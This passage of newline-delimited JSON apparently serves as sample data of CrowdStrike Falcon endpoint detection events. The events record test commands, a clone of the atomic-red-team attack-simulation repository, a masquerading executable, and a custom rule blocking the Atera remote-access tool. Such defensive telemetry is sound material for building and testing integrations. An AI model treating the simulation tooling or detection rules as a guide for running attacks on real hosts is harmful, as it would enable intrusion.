Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}} -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}} -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}} -{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}} -{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}} -{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}} 